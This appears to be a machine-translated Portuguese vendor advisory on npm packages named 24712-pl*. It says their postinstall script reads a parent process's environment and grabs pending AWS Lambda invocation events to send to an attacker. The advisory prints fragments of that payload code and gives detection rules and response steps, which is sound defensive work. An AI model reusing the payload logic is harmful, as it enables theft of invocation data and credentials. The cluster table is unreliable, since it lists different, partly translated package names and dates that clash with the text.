TL, DR
Entre 6º e 7 de maio de 2026, um único editor npm, pelavelle, enviou oito pacotes sem dependências usando nomes que seguiam o mesmo padrão interno: 24712-pl*.
Os pacotes incluíam 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2 e 24712-plv3O prefixo numérico sugere fortemente um ataque de confusão de dependências do npm contra um namespace de pacote interno ou um esquema de ID de pacote.
Todos os oito pacotes irmãos já haviam sido removidos do npm pelo editor entre 2026-05-06T21:52Z e 2026-05-07T00:31ZOs metadados do registro direto confirmaram que os arquivos tar agora retornam o erro HTTP 404.
No entanto, o agrupamento ainda é importante.
A amostra canônica, 24712-pl5006:0.0.1, contém um postinstall.js script que é executado durante npm installEm vez de roubar variáveis de ambiente genéricas, ele procura especificamente por AWS_LAMBDA_RUNTIME_API, a variável de ambiente usada pelos tempos de execução do AWS Lambda.
Se o script encontrar AWS_LAMBDA_RUNTIME_API, ele chama o endpoint da API do Lambda Runtime:
Essa chamada tenta consumir o próximo evento de invocação Lambda pendente antes que o manipulador Lambda legítimo possa processá-lo.
O evento capturado, incluindo cabeçalhos, ID da solicitação, contexto da conta e até 8 KB do corpo da solicitação, é então enviado para um endpoint de comunicação com o servidor de destino controlado pelo atacante por meio do script. phoneHome() função.
O sistema de Alerta Antecipado de Malware (MEW) da Xygeni classificou a amostra canônica como provavelmente maliciosa, com uma pontuação de 91.3/100.
Estamos acompanhando isso como um ataque de confusão de dependências do npm com comportamento de sequestro de execução do AWS Lambda.
O Cluster: Oito Pacotes, Uma Editora
A conta do editor pelavelle utilizou o endereço de e-mail:
pelavelle@clovercode.comA conta tinha um e-mail não verificado, não. SCM verificação e uma baixa pontuação de reputação de 5.
A editora lançou oito pacotes relacionados em um curto período entre 06/05/2026 às 20h45 e 22h36 UTC. Os nomes dos pacotes seguem o mesmo padrão:
24712-pl*Esse padrão é o sinal principal. Não parece ser um utilitário público para desenvolvedores. Em vez disso, parece ser um esquema de nomenclatura de pacotes internos.
| # | Pacote | Versão Maliciosa | Criado, UTC | Não publicado, UTC | Carga útil confirmada | Instalar gancho |
|---|---|---|---|---|---|---|
| 1 | explorador do cosmos | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | Inferido, mesmo editor/cluster | pré-instalação, presumida |
| 2 | sinaisdk-web | 1.0.0, 10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | Inferido | pré-instalação, presumida |
| 3 | ms.analytics-web | 99.0.0, 99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | Inferido | pré-instalação, presumida |
| 4 | ícones.gerados | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | Inferido | pré-instalação, presumida |
| 5 | rastreamento de latência | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | Inferido | pré-instalação, presumida |
| 6 | rastreamento de latência interno | Versões removidas do registro | 2026-05-06T06:02Z | 2026-05-06T08:35Z | Inferido | pré-instalação, presumida |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | Sim, fluxo de código completo do scanner | pré-instalação: node index.js |
| 8 | carbonita-interna | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | Sim, fluxo de código completo do scanner | pré-instalação: node index.js |
Total de versões em todo o cluster: 19 tuplas versão-pacote.
A amostra canônica, 24712-pl5006:0.0.1, foi publicado em 2026-05-06T22:36:34Z e digitalizado por MEW de Xygeni pipeline antes do evento de não publicação.
Continha quatro arquivos, incluindo package/postinstall.js, com 3,335 bytes de código-fonte total.
O canônico commit hash era:
83e0efbfd110abb2398a06196fb698565a3f6cc6Por que o padrão do nome é importante
Os nomes dos pacotes são o indicador mais forte de intenção.
Todos começam com o mesmo prefixo:
24712-plEm seguida, adicionam sufixos numéricos ou semelhantes a versões:
24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3Isso não se assemelha à nomenclatura pública normal do npm. Parece mais um prefixo de namespace interno ou um esquema interno de identificação de pacote.
Isso torna o cluster consistente com um ataque de confusão de dependências do npm.
Em um ataque de confusão de dependências, o atacante publica um pacote público com um nome que corresponde, ou parece corresponder, a uma dependência interna. Se o gerenciador de pacotes ou o ambiente de compilação do alvo resolver o pacote público em vez do privado, o código controlado pelo atacante será executado dentro do ambiente do alvo.
A OWASP descreve a confusão de dependências como um vetor de ataque que engana os gerenciadores de pacotes e proxies, fazendo com que busquem um pacote público malicioso em vez do pacote interno pretendido com o mesmo nome.
Para obter um contexto mais aprofundado sobre como esse tipo de ataque funciona, consulte o guia de Xygeni sobre Falta de fixação de versão e confusão de dependências e nossa postagem sobre Identificação e gerenciamento de ataques de dependência de software.
O que acontece durante a instalação?
O pacote canônico declara um postinstall gancho:
{ "scripts": { "postinstall": "node postinstall.js || true" } }O postinstall O ciclo de vida faz parte do sistema de scripts de pacotes do npm. A documentação do npm explica que os pacotes podem definir scripts de ciclo de vida em package.json, incluindo eventos integrados do ciclo de vida da instalação.
O || true é importante.
Ele ignora erros, garantindo que a instalação seja bem-sucedida mesmo que a tentativa de interceptação falhe. Isso ajuda o pacote a evitar problemas na compilação e reduz a chance de desenvolvedores ou sistemas de integração contínua detectarem o comportamento malicioso por meio de uma instalação com falha.
A carga útil é executada durante npm installNão é necessário importar nada pelo desenvolvedor. Não é preciso que o pacote seja chamado pelo caminho do aplicativo.
A instalação em si já é suficiente.
Comportamento da carga útil: sequestro do ambiente de execução Lambda
O postinstall.js O script executa uma sequência específica.
Primeiro, ele lê o ambiente do processo pai do Linux. /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');Em seguida, ele extrai o endpoint de tempo de execução do AWS Lambda:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);Se a API de tempo de execução for encontrada, o script a armazena:
runtimeApi = match[1];Em seguida, envia um primeiro sinal através de phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });Esse primeiro beacon vaza o endpoint da API de tempo de execução do Lambda.
Em seguida, o script analisa o host e a porta da API de tempo de execução:
const [host, portStr] = runtimeApi.split(':');Por fim, ele chama o caminho da API do AWS Lambda Runtime usado para recuperar a próxima invocação:
http.request({ host, port, path: '/2018-06-01/runtime/invocation/next', method: 'GET', timeout: 90000 }, ...);Esse é o cerne do ataque.
O script tenta consumir o próximo evento de invocação do Lambda antes que o manipulador legítimo do Lambda possa processá-lo. O guia de tempo de execução personalizado da AWS também descreve a etapa "obter um evento" como uma chamada à API de próxima invocação.
O que é exfiltrado
Se o script capturar uma invocação, ele enviará o resultado para o ponto de extremidade de comunicação com o servidor de controle do atacante.
Os campos exfiltrados incluem:
| Campo | Significado |
|---|---|
step | Etapa de execução, como por exemplo waiting, next_error, ou captured |
runtimeApi | Endpoint da API de tempo de execução do Lambda |
accountSid | Contexto da conta AWS capturada |
requestId | ID da solicitação de invocação Lambda |
isOwnAccount | Comparação booleana com o valor da conta configurada no script. |
statusCode | status de resposta da API de tempo de execução |
headers | Cabeçalhos de resposta de invocação |
body | Corpo da invocação capturado, dividido em 8,000 caracteres. |
A principal chamada de exfiltração é a phoneHome(data) função que codifica os dados em JSON e os envia por meio de um HTTP POST.
A URL exata de destino da comunicação com o servidor de comando e controle não foi preservada nas evidências truncadas disponíveis. Portanto, o npm deve preservar internamente o arquivo tarball não publicado para que o literal do host C2 possa ser extraído antes que a exclusão seja finalizada.
Por que isso é perigoso
Este não é um beacon npm genérico.
A carga útil foi projetada em torno de AWS Lambda modelo de execução.
Se um pacote vulnerável for instalado em um ambiente de execução Lambda, como durante a criação de uma imagem de implantação, a instalação de uma camada Lambda ou um processo de inicialização (init), o ambiente poderá ficar exposto. AWS_LAMBDA_RUNTIME_API.
Assim que o script tiver esse valor, ele poderá chamar:
/2018-06-01/runtime/invocation/nextEsse endpoint retorna o próximo evento de invocação pendente.
Como resultado, o atacante poderá capturar:
- Órgãos de solicitação
- Cabeçalhos
- IDs de solicitação
- Contexto da conta AWS
- Dados da solicitação assinada
- Informações de identificação do cliente
- Dados do evento S3
- Cargas úteis específicas da aplicação
- Contexto de serviço interno
O manipulador legítimo pode nunca ver o evento consumido.
Isso transforma um script de instalação do npm em um mecanismo primitivo de interceptação de eventos Lambda.
Mesmo que o pacote nunca chegue a um ambiente Lambda real, o comportamento ainda pode vazar contexto útil de sistemas de desenvolvimento ou CI. /proc/<pid>/environ Pode expor variáveis de ambiente presentes nos processos pai, que podem incluir chaves da AWS, URLs de banco de dados, tokens de CI ou credenciais de implantação.
É por isso que a verificação de dependências não pode parar nas CVEs conhecidas. As equipes também precisam de detecção de pacotes maliciosos, análise de scripts de instalação e aplicação de políticas de registro. Para obter orientações relacionadas, leia Por que a varredura de dependências é importante para equipes de DevOps e Proteção contra malware: por que o antivírus não consegue impedir ataques à cadeia de suprimentos.
Classificação Xygeni MEW
Xygeni MEW escaneou a amostra canônica. 24712-pl5006:0.0.1 antes do evento de não publicação.
O scanner retornou:
91.3 / 100 probablyMalicious threshold: 80As evidências incluíram três itens críticos e um item de alta gravidade, confirmando o fluxo de dados de sequestro em tempo de execução do Lambda.
| Gravidade | evidência | Significado |
|---|---|---|
| Críticas | /proc/<pid>/environ ler | Lê o ambiente do processo pai |
| Críticas | AWS_LAMBDA_RUNTIME_API Extração | Destinos do endpoint de tempo de execução do Lambda |
| Críticas | /runtime/invocation/next solicitar | Tentativas de consumir um evento de invocação Lambda real |
| Alto | postinstall escrita | Executa durante a instalação do npm. |
O comportamento é altamente específico e de grande impacto. O pacote não precisa de recursos genéricos de malware, pois o endpoint de tempo de execução do Lambda já é um alvo poderoso.
O Xygeni MEW foi projetado para esse tipo de caso: detectar comportamentos suspeitos e maliciosos de pacotes antes que se tornem um incidente subsequente. Para uma visão mais ampla dos padrões de ameaças atuais do npm e do PyPI, consulte Um olhar mais atento aos ataques à cadeia de suprimentos de software em 2025.
Por que o padrão de autodespublicação é importante
Todos os oito pacotes foram retirados de circulação pela editora em um curto período de tempo.
Esse comportamento é suspeito neste contexto.
O cluster apareceu, foi executado se selecionado por um caminho vulnerável de resolução de dependências e, em seguida, desapareceu. Isso é consistente com a limpeza realizada pelo atacante após uma prova de conceito bem-sucedida ou abortada, ou depois que a organização alvo percebeu o problema.
A remoção da publicação cria uma lacuna de visibilidade para os defensores.
Os dados públicos do npm podem não incluir mais os arquivos tar.gz. Algumas versões de pacotes não podem ser baixadas novamente. No entanto, os ambientes afetados ainda podem ter cópias em cache, referências a arquivos de bloqueio, logs de CI ou artefatos do gerenciador de pacotes.
É por isso que a preservação no lado do registro é importante.
O npm deve preservar internamente os arquivos tar não publicados por tempo suficiente para extrair o URL exato de comunicação com o servidor, confirmar a identidade do payload correspondente e dar suporte à resposta a incidentes.
Indicadores de comprometimento e detecção
Editora e Conta
| Campo | Valor |
|---|---|
| nome de usuário do npm | pelavelle |
| e-mail do editor npm | pelavelle@clovercode.com |
| Email verificado | Não |
| SCM verificado | Não |
| Pontuação de reputação do editor | 5 |
| Padrão de nomenclatura de pacotes | ^24712-pl[0-9a-z]+$ |
| Prefixo de namespace interno | 24712-pl |
Nomes dos pacotes afetados
24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3Amostra canônica
| Campo | Valor |
|---|---|
| Pacote | 24712-pl5006 |
| Versão | 0.0.1 |
| Publicado | 2026-05-06T22:36:34Z |
| Commit hash | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| UUID de varredura Xygeni | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| Pontuação | 91.3 / 100 |
| Veredito | probablyMalicious |
Instalar gancho
{ "scripts": { "postinstall": "node postinstall.js || true" } }Indicadores de tempo de execução do Lambda
Campos de carga útil exfiltrados
step runtimeApi accountSid requestId isOwnAccount statusCode headers bodyO corpo do texto foi dividido em 8,000 caracteres.
Notas de Detecção
Diversas regras podem detectar isso. ataque de confusão de dependências do npm e possíveis variantes.
Primeiro, marque os scripts de instalação do npm que leem o ambiente do processo pai de /proc:
/proc/<pid>/environEsse comportamento raramente é legítimo para uma dependência do npm durante a instalação.
Em segundo lugar, fique atento aos scripts de instalação de pacotes que fazem referência a:
AWS_LAMBDA_RUNTIME_APIEsta variável de ambiente não deve ser acessada por pacotes npm de terceiros durante a instalação.
Terceiro, bloqueie ou revise os scripts de instalação que chamam:
/2018-06-01/runtime/invocation/nextEste é o endpoint da API do AWS Lambda Runtime para receber a próxima invocação. Um script de instalação de dependências não tem motivo legítimo para consumi-lo.
Em quarto lugar, procure por referências nos arquivos de bloqueio aos nomes dos pacotes afetados:
package-lock.json yarn.lock pnpm-lock.yaml npm-shrinkwrap.jsonQualquer correspondência deve acionar uma revisão de dependências e possíveis confusões.
Quinto, atenção à expressão regular do nome do pacote:
^24712-pl[0-9a-z]+$especialmente quando a editora é pública, tem baixa reputação, não é verificada ou está fora do registro interno esperado.
Por fim, adicione CI/CD guardrails em torno dos scripts de instalação. Isso é especialmente importante porque os scripts do ciclo de vida do npm podem ser executados durante a instalação do pacote, antes que os desenvolvedores importem qualquer coisa. Para mais informações sobre CI/CD padrões de detecção, veja Xygeni's Os 10 principais indicadores de comprometimento em CI/CD Pipelines e Total Guardrails pela CI/CD Pipelines.
Ações de registro sugeridas
Este agrupamento já não havia sido publicado no momento da elaboração do relatório, mas a sua não publicação não elimina o risco.
Ações recomendadas no npm:
- Confirme se as remoções de publicação foram uma ação de limpeza iniciada pelo atacante ou uma ação legítima do mantenedor.
- Suspender ou banir a conta do editor
pelavelle. - Adicione
pelavelle@clovercode.com, os nomes dos pacotes e a expressão regular dos nomes dos pacotes para abusos do npm e listas de bloqueio da cadeia de suprimentos. - Conservar amostras de alcatrão não publicadas em armazenamento interno para fins forenses.
- Extraia o exato
phoneHome()URL de destino dos arquivos tarballs preservados. - Confirme se todos os pacotes irmãos compartilham a mesma carga útil.
- Notifique as organizações afetadas se a telemetria de download ou instalação do pacote indicar exposição.
Lista de verificação para resposta a compromissos
Se algum pacote afetado aparecer em arquivos de bloqueio, logs de CI, caches de pacotes, camadas Lambda, imagens de implantação ou artefatos de compilação, trate-o como um possível evento de execução relacionado à confusão de dependências.
Resposta recomendada:
- Identifique onde o pacote foi instalado: estação de trabalho local, executor de CI, compilação da camada Lambda, imagem de implantação ou ambiente de execução.
- Preserve os arquivos de bloqueio, o cache do npm, os registros de compilação, os artefatos de implantação e as camadas da imagem do contêiner.
- Verifique se a instalação ocorreu em um ambiente onde
AWS_LAMBDA_RUNTIME_APIfoi configurado. - Analise os registros HTTP de saída em busca de informações desconhecidas.
phoneHome()destinos durante a janela de instalação. - Audite os registros de invocação do Lambda em busca de eventos descartados, ausentes ou anômalos.
- Rotacione os segredos expostos ao ambiente de instalação, especialmente chaves da AWS, tokens de CI, credenciais de implantação e URLs de banco de dados.
- Analise as camadas Lambda e as imagens de implantação em busca de cópias em cache do pacote.
- Impor a fixação de registros privados para prefixos de pacotes internos.
- Bloquear a resolução pública do npm para nomes de pacotes que parecem internos.
- Adicione guardrails pela
preinstall,installepostinstallscripts.
Como a Xygeni ajuda a detectar isso mais cedo
Esta campanha é exatamente o tipo de caso em que as equipes de segurança precisam de algo mais do que a varredura de vulnerabilidades tradicional.
Pode não haver CVEPode não haver nenhuma versão vulnerável conhecida. Pode não haver nenhum pacote de longa duração para inspecionar após a limpeza feita pelo editor.
Em vez disso, as equipes precisam de visibilidade em tempo real do comportamento dos pacotes.
Xygeni ajuda combinando:
- Detecção precoce de malware em registros públicos.
- Detecção de dependências suspeitas para evitar confusão de dependências e typosquatting.
- Análise do script de instalação para
preinstall,installepostinstallcomportamentos. - CI/CD guardrails Bloquear pacotes de risco antes que cheguem aos ambientes de compilação ou implantação.
- Visibilidade da cadeia de suprimentos de software em todas as dependências, pipelines, e artefatos.
- Aplicação de políticas para nomes de pacotes internos e pacotes públicos não confiáveis.
Isso é importante porque o impacto de um ataque de confusão de dependências do npm Não se limita a laptops de desenvolvedores. Pode alcançar executores de CI, imagens de compilação, camadas Lambda, contêineres de implantação e ambientes adjacentes ao tempo de execução.
Para um contexto mais amplo sobre segurança de aplicativos e cadeia de suprimentos, consulte Pós SCA: Protegendo sua cadeia de suprimentos de software e Software Supply Chain Security Completa.
O que os defensores devem levar consigo
Esta campanha demonstra como a confusão de dependências pode ir além dos simples indicadores de prova de execução.
A carga útil não confirma simplesmente que npm install Executou. Ele tenta interagir com a API do AWS Lambda Runtime e capturar um evento de invocação real.
Essa é uma escalada significativa.
Para equipes que utilizam arquitetura sem servidor, a resolução de dependências faz parte do modelo de ameaças em tempo de execução. Um pacote npm público com um nome que parece interno pode se tornar uma porta de entrada para o contexto de execução do Lambda, dados de requisição e metadados da conta na nuvem.
A principal lição é clara: os prefixos de pacotes internos devem ser protegidos, delimitados e fixados em registros confiáveis. Os scripts de instalação devem ser tratados como superfícies de ataque executáveis, especialmente em CI/CD, construções de contêineres, camadas Lambda e implantação pipelines.
CISAs diretrizes da cadeia de suprimentos de software da empresa A enfatizam a necessidade de proteger o software, aplicar verificações de segurança e responder a vulnerabilidades continuamente ao longo do processo de desenvolvimento. Nesse caso, isso significa tratar a resolução de pacotes, os scripts de pacotes e os ambientes de compilação sem servidor como controles de segurança de primeira classe.
Reportado ao npm para aplicação de medidas em nível de conta, inclusão em listas de bloqueio e preservação de arquivos tarball não publicados.







